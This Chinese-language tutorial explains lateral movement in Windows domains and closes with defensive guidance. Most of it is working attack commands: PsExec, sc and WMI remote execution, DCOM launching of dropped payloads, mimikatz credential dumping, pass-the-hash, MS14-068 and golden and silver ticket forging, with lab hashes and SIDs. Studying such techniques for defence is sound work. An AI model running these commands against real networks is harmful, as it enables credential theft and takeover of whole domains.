前言
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
横向移动,是攻击者侵入企业系统时,获取相关权限及重要数据的常见攻击手法。了解横向移动的原理有助于个人和企业更好地维护网络安全。
近年来,随着网络攻击、勒索事件频发,企业安全防护需求迅速上升,传统安全防护中以密码和权限管理为核心的单一防护模式愈发不能满足目前的网络安全环境。因而,深入了解攻击思路,“对症下药”,是目前网络安全行业发展的重要方向。
本篇文章将就“横向移动”这一典型攻击行为进行简单阐述,从攻击者视角还原“横向移动”攻击过程中的典型场景,为深入剖析“横向移动”攻击行为提供简单参考。
简单来讲,横向移动是指攻击者成功攻击一台计算机后,由该计算机横向跨越到另一台计算机,获取相关权限,进而窃取敏感信息的活动。
从定义上来看,我们不难发现,“横向移动”攻击的主要目标是企业关键信息及相关管理权限,而横向跨越的攻击属性也表明这一攻击行为多数情况下发生在企业内网中。
换个角度来讲,也正是由于企业内网中计算机存在聚集性,以及内网中一些集权管理设备储存有大量身份凭证信息及关键数据,使得企业内网更容易成为攻击者的目标,也就成为了横向移动的重灾区。
横向移动威胁
威胁密码安全
黑客横向移动的过程可能导致密码失窃,从而威胁到计算机内文件数据的安全。在企业办公网络中,大部分办公电脑都设置有密码、登录凭证,用以防止数据等相关私密文件被他人查看。这种情况下,黑客想要横向移动到加密主机,就要通过一些手段来获取密码,或窃取登录凭证。与其他的攻击方式相同,“弱口令”是黑客获取密码最简单的一类途径。尤其是主机RDP相关的弱口令,这类系统远控桌面服务的弱口令一旦被黑客利用,就能通过“撞库”等方式暴力破解,进而实现内网计算机的远程控制。而黑客窃取登陆凭证的方式主要包括:lsass内存读取、注册表读取、ntds 数据库读取等。在通过一系列手段窃取到登陆凭证后,黑客就能通过哈希传递、票据传递的方式登录目标主机。以上两种方式作为黑客横向移动的初始步骤,被广泛应用于APT攻击及横向移动攻击相关的威胁事件中。 例如,在前不久的美国燃油管道勒索攻击事件中,darkside攻击团伙从文件、内存和域控制器中收集凭据,并利用这些凭据来登录其它主机,再对重要数据和控制端口进行加密,进而实施勒索。 由此可见,横向移动造成的密码失窃严重威胁到包括关键基础设施在内的多种网络设施安全。
威胁主机安全
黑客在横向移动中使用远程控制目标主机的方式,导致主机安全受到威胁。 由于Windows系统自带连接远程主机执行命令的功能。在黑客获得账号密码的情况下,可以通过IPC(进程间通信)连接目标主机,建立安全通道,在该通道传输加密数据。而Windows的计划任务功能也常被黑客利用来定时激活病毒木马,达到长期威胁内网主机的目的。除了windows系统自带功能,黑客还经常使用一些工具来进行远程控制:
Psexec由于其强大的提权和远程命令执行能力,在横向移动中应用非常普遍。它不仅能以system权限来运行指定应用程序,还能在本机生成命令提示符窗口,只要输入命令,就能在远程主机上执行并返回结果。
Psexec被众多安全厂商加入查杀黑名单后,近几年,通过调用WMI来进行远程操作的工具也屡见不鲜。(WMI是一项Windows管理技术,通过它可以访问、配置、管理几乎所有计算机资源。)相比于Psexec,使用WMI执行远程命令基本不会在远程主机上留下日志,让黑客的行为显得更隐蔽。调用WMI来进行横向移动的工具包括WMIEXEC.exe、WMIEXEC.vbs脚本、Invoke-Command.ps1脚本和Invoke-WMIMethod.ps1脚本。其中WMIEXEC.vbs脚本可以获取远程主机的半交互式Shell,执行单条命令并返回显示结果。(Shell为用户提供了可以访问操作系统内核服务的界面)
威胁信息安全
黑客进行横向移动攻击,会窃取和泄漏大量信息,直接威胁信息安全。 几乎所有针对企业进行攻击的事件都与信息窃取相关。一旦突破安全边界进入内网,黑客们就会使用各种手段横向移动渗透内网其它主机,尤其是敏感信息存放主机。在勒索攻击事件中,最常见的勒索方式是:攻击者将信息加密后,以公开其机密数据的方式要挟赎金。 比如,著名的勒索攻击团伙海莲花,其常用手法是在内网中建立立足点后使用Cobalt Strike进行横向移动。通过Cobalt Strike扫描内网中存在的各类漏洞和配置问题,利用扫描结果进一步控制其它主机。最终窃取包括商业机密、机密谈话日志和进度计划等在内的各种资料,严重威胁制造、媒体、银行、酒店和基础设施的网络安全。
横向移动威胁的特点
由上,我们可以总结出横向移动威胁的特点,即威胁面大,威胁性强。
如何理解威胁面大?
从目标对象来说,横向移动威胁的不是某一台主机,而是多台主机,甚至整个内网。从黑客目的来说,黑客要利用他掌握的信息威胁企业,必须掌握到关键且大量的数据,就要通过横向移动不断扩大资产范围。
如何理解威胁性强?
黑客为了造成更大影响,通常选择重要的信息系统,如金融、电信、交通、能源等计算机系统,利用横向移动进行大面积网络攻击,导致系统瘫痪,严重影响基本的社会生活。如前文提到的美国燃油管道勒索攻击事件,和爱尔兰医疗服务机构遭受Conti勒索软件攻击事件,还有加拿大保险公司guard.me遭受网络攻击事件…… 另外,横向移动造成的影响让企业在后续恢复中也面临较大的困难。企业需要消耗许多人力财力对本次攻击溯源,找到并修补内网存在的漏洞,还需要耗费大量时间精力还原被黑客破坏的文件等资源,重新启动业务系统。
利用psexec
利用psexec.exe工具
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec
是 windows 下非常好的一款远程命令行工具。psexec
的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec
也是不能使用的,会提示找不到网络路径。由于psexec
是Windows提供的工具,所以杀毒软件将其列在白名单中。
psexec
的基本原理:
-
- 通过ipc连接admin,释放二进制文件psexecsvc.exe到目标
-
- 通过服务管理
SCManager
远程创建一个psexec
服务,并启动服务
- 通过服务管理
-
- 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
-
- 运行结束后删除服务
psexec
的使用前提:
- 对方主机开启了 admin共享,如果关闭了admin共享,会提示:找不到网络名
- 对方未开启防火墙
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
- 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
使用如下命令:
- -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
- -u:用户名
- -p:密码
- -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
PsExec64.exe -accepteula \192.168.10.3 -u WIN-U8TRGT93CTRadministrator -p <password> -s cmd.exe
这里也可以先建立ipc连接后直接调用PsExec64.exe
调用cmd
net use \192.168.10.3ipc$ <password> /user:administrator
PsExec64.exe -accepteula \192.168.10.3 cmd.exe
也可以直接执行命令(在建立ipc连接的基础上)
代码语言:javascript复制PsExec64.exe -accepteula \192.168.10.3 ipconfig
msf中的psexec
使用search psexec
寻找psexec
模块如下图所示
这里最常用的有以下模块
代码语言:javascript复制exploit/windows/smb/psexec
exploit/windows/smb/ms17_10_psexec
这里说一下msf里面的这个psexec
这个模块跟powershell
原生模块的区别。我们知道powershell
是在2008及以上的系统才有,在2008及以上的系统使用原生powershell
免杀效果是要比msf里psexec
生成的payload
要好的。但是在2003及以下的版本是不自带powershell
的,那么在这种情况下我们就只能使用msf的psexec
生成的exe进行横向移动
这里唯一一点注意的就是msf的payload
,需要用到反弹payload
,即reverse_tcp
运行可以看到为system权限
psexec服务将会安装在远程系统中,此时将会生成 Event 4697、7045 这2种事件日志;有可能预生成Event 4624和Event 4652 Windows事件日志,日志会记录下该工具的使用数据。
利用windows服务
利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。
sc命令
sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下:
1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务
代码语言:javascript复制sc \WIN-M836NN6NU8B create shell binpath= "c:artifact.exe"
这里需要用cmd shell
运行,否则会报错
4.启动shell服务
代码语言:javascript复制sc \WIN-M836NN6NU8B start shell
5.删除创建的shell服务
代码语言:javascript复制sc \[host] delete [servicename]
利用WMI
WMI
,是Windows 2K/XP管理系统的核心;对于其他的Win32
操作系统,WMI
是一个有用的插件。WMI
以CIMOM
为基础,CIMOM
即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC
和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI
,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI
由于刚刚提到的PsExec
在内网中大杀四方后,很多安全厂商开始将PsExec
加入了黑名单,所以攻击者暴露的可能性陡然增加。但是根据研究情况来看,Windows操作系统默认不会将WMI
的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI
进行攻击,利用WMI
可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
使用 wmic
远程执行命令,在远程系统中启动 Windows Mannagement Instrumentation
服务(目标服务器需要开放 135 端口,wmic 会以管理员权限在远程系统中执行命令)
查询进程信息
代码语言:javascript复制wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
远程创建进程
wmic
也可以用来调用cmd
执行系统命令,跟at
命令类似,wmic
调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:result.txt"
使用type命令读取写入txt的结果如图所示
wmiexec
wmiexec
是windows自带的wmic
的加强版,在渗透过程中使用wmiexec
会比wmic
和psexec
更加方便,这里就介绍几种常用的wmiexec
工具进行渗透。
impacket中的wmiexec.py
首先在github上下载impacket
安装包:https://github.com/SecureAuthCorp/impacket
使用命令
代码语言:javascript复制python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
注意:对于运行时间较长的命令,例如ping
、systeminfo
等,需要添加-wait 5000
或更长时间的参数。
由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs
在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC
不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC
可以恢复工作。为了解决这个问题,加入了“-persist” 选项。
当命令加了“-persist
” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。
wmiexec.vbs
wmiexec.vbs
可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>
输入如下命令,使用 wmiexec.vbs
在远程主机上执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"
Invoke-WMIMethod
利用 PowerShell
自带的 Invoke-WMIMethod
,可以在远程系统主机上执行命令和指定程序
#目标系统用户名
$User = "WIN-U8TRGT93CTRadministrator"
#目标系统密码
$Password= ConvertTo-SecureString -String "qwe123!@#" -AsPlainText -Force
#账号密码整合,导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
#远程运行计算器程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.3" -Credential $Cred
这时候靶机进程就会出现calc.exe
利用DCOM
这里先提两个概念,COM
和DCOM
COM
即组件对象模型(Component Object Model,COM
) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM
是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
关于这个COM
,其实应该有很多师傅见过,那就是在windows情况下php
为数不多的几种disable_functions
的方法之一,就是利用windows的COM
组件进行绕过,这里我就不往深处拓展了
DCOM
(分布式组件对象模型)是微软基于组件对象模型(COM
)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。
攻击者可使用 DCOM
进行横向移动,通过 DCOM
,攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。
使用DCOM
进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindow COM
对象,那么就会在远程主机的现有explorer.exe
进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM
公开方法,因此防御者可能难以全面监测所有程序的执行。
这里利用DCOM
进行横向移动有两个条件:
1.能关闭靶机防火墙
2.拥有cmdshell、靶机需要使用administrator账户
DCOM
进行横向移动的操作如下:
1.与靶机建立ipc连接
2.cs生成木马使用copy命令上传到靶机
3.调用DCOM
远程执行命令
调用MMC20.Application远程执行命令
通过PowerShell
与DCOM
进行远程交互,此外,我们只需要提供一个DCOM ProgID
和一个IP地址,然后,它就从远程返回一个COM对象
的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138))
代码语言:javascript复制$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:shell.exe","Minimized")
执行以上命令我们就可以调用ExecuteShellCommand
方法在远程主机上启动进程
调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
通过调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
来执行exe文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:shell.exe","c:windowssystem32",$null,0)
调用Excel.Application远程执行命令
代码语言:javascript复制# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程
$com.DDEInitiate("cmd.exe","/c C:shell.exe")
PTH(pass the hash)
pass-the-hash
在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash
和NTLM Hash
访问远程主机或服务,而不用提供明文密码。
pass the hash
原理:
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
微软也对pth
打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash
已经无法成功,唯独默认的Administrator(SID 500)
账号例外,利用这个账号仍可以进行Pass The Hash
远程ipc连接。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛。
首先使用mimikatz
抓取域管hash,注意mimikatz
在抓取到hash之后是不能够直接复制的,所以我们这里选择用log参数将抓取到的hash输出为txt
mimikatz log privilege::debug sekurlsa::logonpasswords
使用mimikatz
hash传递
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
PTT(pass the ticket)
PTH
部分基于NTLM
认证进行攻击,而PTT
基于kerberos
协议进行攻击
PTT
中最常见的三种攻击方式为:MS14-068、黄金票据、白银票据
MS14-068
MS14-068
是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll
域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
MS14-068
对应的补丁为KB3011780
,接下来说一下MS14-068
的利用过程
利用mimikatz ptt
1.获取普通域成员的SID
2.生成TGT票据
代码语言:javascript复制ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>
在同目录下生成了.ccache
文件
3.票据注入
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
通过mimikatz进行票据注入
代码语言:javascript复制mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
4.klist查看缓存票据
5.建立ipc连接
可以看到我们这里已经提升到dc权限,这里需要注意一个问题,如果要使用psexec或者wmi进行远程执行命令的操作,这里的ip就要换成主机名字,否则无法登录成功
利用kekeo ptt
这里使用到不用管理员权限进行ptt,使用到kekeo
1.生成票据
代码语言:javascript复制kekeo "tgt::ask /user:mars2 /domain:Drunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
2.导入票据
代码语言:javascript复制kerberos::ptt TGT_mars2@DRUNKMARS.COM_krbtgt~Drunkmars.com@DRUNKMARS.COM.kirbi
3.查看票据并访问域控
Golden ticket
Golden ticket
的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt
的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
先登录域控制器,dump krbtgt用户的hash值,获取域sid
代码语言:javascript复制privilege::debug
lsadump::lsa /patch
登录普通域用户生成TGT凭证
代码语言:javascript复制kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi
注入黄金票据并访问域控
代码语言:javascript复制kerberos::ptt gold.kirbi
如果开启rpc服务
则可以用winexec.vbs
直接连接,这里我的域控没有开启rpc服务
,所以这里连接没有成功
Sliver ticket
Sliver ticket
和golden ticket
不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
不像是Golden ticket
,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket
差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
登录DC,抓取ntlm hash
代码语言:javascript复制mimikatz log privilege::debug sekurlsa::logonpasswords
在普通域用户中生成票据
代码语言:javascript复制kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
查看票证访问域控
PTK(pass the key)
在连接配置的时候允许使用hash进行认证,而不是只有账号密码才能认证。
就是由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中,如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。
获取aes key
代码语言:javascript复制mimikatz log privilege::debug sekurlsa::ekeys
注入aes key
代码语言:javascript复制mimikatz "privilege::debug" "sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d"
防范
黑客横向移动的手段已经非常成熟。除了病毒中的自动化横向移动模块,目前也已经有许多横向移动的工具被广泛使用。因此,对横向移动的防护是目前内网安全防护中的重中之重。其核心目标是,即使黑客进入企业内网,也能通过一系列防护手段阻止他渗透到更多主机,为相关权限及关键数据提供安全防护。
我们可以得知,攻击者在横向移动过程中,其最终目的是登陆目标主机并窃取机密数据。因此我们必须采取多种防护措施,以防止攻击者窃取密码或进行凭证传递。除此之外,还可利用监控手段来探查攻击者的踪迹,并增加系统配置以提高域内安全性。 接下来将会详细介绍以上所述:
一、防止攻击者窃取密码
在使用WDigest(摘要式身份验证)的系统中,密码会以明文形式存储在内存,攻击者通过Mimikatz可以直接抓取密码。为了防止密码泄露,我们可以关闭WDigest。但该功能只有在Windows Server 2012以上版本的系统才能被关闭,而在Windows Server 2012以下版本的系统中只能通过安装补丁KB2871997来解决问题。
KB2871997支持RDP 网络登录,即在登录过程中使用登录令牌来进行身份验证。这种方法不会在RDP服务器中存储用户凭证,用户注销时,也会清除主机缓存中的凭证,以此来保护凭证安全。
同时,KB2871997支持创建“受保护的用户”组。只要把域功能级别设置为Windows Server 2012 R2,系统就会创建受保护的组,在该组中的用户只能使用Kerberos协议进行身份验证。相比于WDigest,Kerberos验证方式更安全,因为它不会在内存中存储明文密码。 想要防止密码被盗的话,除了安装补丁,我们还需要对攻击者常用的工具进行防范,比如Mimikatz。由于Mimikatz与内存(LSASS进程)交互需要Debug权限,我们可以将拥有Debug权限的本地管理员从Administrators组中移出。这样,当攻击者以本地管理员身份登录时,就没有权限使用Mimikatz从内存导出密码。
二、防护哈希传递攻击
通过以上手段,我们能有效防止黑客从系统中窃取明文密码,但是当黑客窃取到了用户凭据,使用哈希传递等手段登录系统时,并没有一个能彻底解决哈希传递的方法,我们只能减轻这种攻击。 这里介绍两种方法——Defender ATP和微软管理层模型。
Defender ATP : 是微软提供的一种安全工具,它能检测攻击者访问LSASS进程的行为。如果发现某时刻LSASS进程被读取的内存数量过多,就会报警,提示管理员“敏感凭据内存读取”。微软管理层模型 : 将不同权限的用户划分到不同层级,并规定高层级不能登录低层级。举例来说,将能够访问网络上所有关键服务器的管理员划分为第0级,将工作站管理员划分为第2级,那么即使黑客窃取到了关键服务器管理员的凭证,以管理员身份也无法登录关键服务器。
三、监控异常活动
攻击者横向移动过程通常难以被察觉,但我们可以分析其行为特征,监控是否有存在满足其特征的活动来确定系统是否被入侵。 对于在目标范围内安装恶意软件的横向攻击行为,我们可以监控应用安装情况。例如当安装应用的时间固定在一个时间段,而其它时间段的安装行为都将被认为是异常的。攻击者进行横向移动攻击的另一个典型行为就是窃取信息。通过监控文件创建行为和SMB传输文件行为,可以发现远程文件复制活动;通过监控可移动介质上的文件访问,能识别可移动介质复制行为;通过监控多文件写入共享能发现共享文件污染行为等。 如果攻击者已进入内网,为了防止他横向移动到更多主机,我们可以监测内网中活跃的用户账号,将这些账户设置为高风险账户,降低其权限,阻止其使用内网资源。 监控内网中的异常活动,能帮助我们发现攻击者侵入企业内网的行为,以便及时采取措施阻止其损害企业利益。
四、更改系统配置
给系统配置防火墙是防范一般网络攻击的重要手段,对横向移动攻击也能起到一定的作用。比如,通过配置防火墙的进站/出站规则阻止445端口的连接,能防范利用SMB协议漏洞的攻击;启用防火墙禁止RDP流量能防止RDP远程连接系统;启动域防火墙能阻止DCOM对象实例化。 此外,我们也可以通过配置Windows系统规则来防范横向移动攻击。当攻击者利用Windows打印机后台处理程序来执行特权操作时,我们可以禁用“允许打印后台处理程序接收客户端连接”,也可以直接禁用打印后台处理程序服务。 当系统遭受NTLM中继攻击时,我们可以禁用NTLM并切换成Kerberos验证,或启用SMB签名和LDAP签名等。(NTLM中继攻击:攻击者劫持受害者会话,将受害者凭证转发到其它服务器获取信任) 正确配置系统规则,不仅能防范横向移动攻击,还能保护系统资源的合法使用。
攻击者进行横向移动的手法多种多样,以上方法并不能完全防范横向移动攻击。要有效阻止横向移动,需要分析具体事件来制定有针对性的防护措施。
尤其是在企业等组织机构中,由于内网的复杂性,攻击团伙的手段也比较高超,一般的防护手段不能有效地防范横向移动攻击,要保护企业内网安全,最好选择专业的运营团队。